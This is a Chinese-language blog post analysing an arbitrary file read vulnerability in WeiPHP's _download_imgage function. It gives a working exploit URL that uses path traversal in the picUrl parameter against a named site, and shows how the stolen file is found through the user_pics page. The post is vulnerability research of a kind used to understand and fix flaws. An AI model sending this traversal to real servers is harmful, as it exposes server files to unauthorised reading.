赞
踩
最近一直在刷CNVD吧,大概两周刷了四页多,感觉自己水平也在见着长高,今天来分析一下Weiphp,毕竟也很久没写过博客了
漏洞所在的函数为application/material/controller/Material.php
下的_download_imgage
函数,正好这是一个public方法,根据thinkphp的路由规则我们不难得到传参方式,这里直接先给出exp然后继续分析好吧
这里得用POST传入的方式绕过验证
http://ddcms.top//public/index.php/material/Material/_download_imgage?media_id=1&picUrl=./../build.php
接下来是分析,首先得到保存路径以及创建文件,规则很清楚吧
$savePath = SITE_PATH . '/public/uploads/picture/' . time_format(NOW_TIME, 'Y-m-d');
mkdirs($savePath);
由于$picUrl参数不为空,因此进入else分支,这里逻辑很明确,从wp_file_get_contents获取文件内容,并根据一定规则构成文件名,并写入
$content = wp_file_get_contents($picUrl); // 获取图片扩展名 $picExt = substr($picUrl, strrpos($picUrl, '=') + 1); if (empty($picExt) || $picExt == 'jpeg' ||strpos('jpg,gif,png,jpeg,bmp', $picExt) === false) { $picExt = 'jpg'; } echo uniqid(); $picName = NOW_TIME . uniqid() . '.' . $picExt; $picPath = $savePath . '/' . $picName; $res = file_put_contents($picPath, $content); if (!$res) { $cover_id = do_down_image($media_id); if (!$cover_id) { return 0; exit(); } }
我们看看这个wp_file_get_contents函数,注释很清楚防超时的file_get_contents改造函数
// 防超时的file_get_contents改造函数 function wp_file_get_contents($url) { if (empty($url)) { return ''; } $context = stream_context_create(array( 'http' => array( 'timeout' => 30 ), 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false ) )); // 超时时间,单位为秒 return file_get_contents($url, 0, $context); }
这里也没过滤,因此我们很容易通过目录穿越来读取任意文件
接下来就是如何获取文件名了,更简单在application/home/controller/File.php
下的user_pics方法当中
function user_pics()
{
$map['wpid'] = get_wpid();
$picList = M('Picture')->where(wp_where($map))
->order('id desc')
->select();
$this->assign('picList', $picList);
exit($this->fetch());
}
可以看看效果,直接访问没毛病
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。